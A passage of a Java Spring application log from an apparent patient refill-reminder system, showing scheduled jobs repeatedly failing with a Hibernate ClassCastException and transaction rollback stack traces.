org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 05:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 05:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 05:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 05:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 05:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 05:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 05:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 05:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 05:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 05:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 05:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 05:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 05:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 05:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 05:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 06:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 06:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 06:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 06:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 06:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 06:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 06:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 06:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 06:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 06:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 06:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 06:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 06:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 06:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 06:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 06:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 06:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 06:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at 